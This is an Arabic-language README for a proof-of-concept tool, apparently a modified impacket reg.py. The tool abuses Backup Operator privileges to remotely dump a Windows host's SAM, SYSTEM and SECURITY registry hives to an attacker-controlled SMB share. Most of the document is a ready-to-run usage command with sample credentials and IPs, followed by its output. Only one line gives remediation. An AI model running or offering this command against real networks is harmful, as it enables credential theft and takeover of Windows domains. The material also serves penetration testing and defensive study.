نسخ احتياطي لريجستري Backup Operator لاختراق المجال

POC بسيط يستغل صلاحيات Backup Operator لتفريغ خلايا SAM وSYSTEM وSECURITY عن بُعد.

يعود الفضل في البحث إلى:

• @filip_dragovic
• مُنقل من PoC الخاص بـ @mpgn لنظام Windows

الاستخدام

إثبات المفهوم هذا هو نسخة معدلة من impacket/examples/reg.py وسيعمل مع أحدث إصدار مثبت من impacket. جميع آليات المصادقة المدعومة في impacket ستعمل.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

المعالجة:

عامل مجموعة Backup Operators في المجال معاملة Domain Administrators وموارد Tier 0 الأخرى.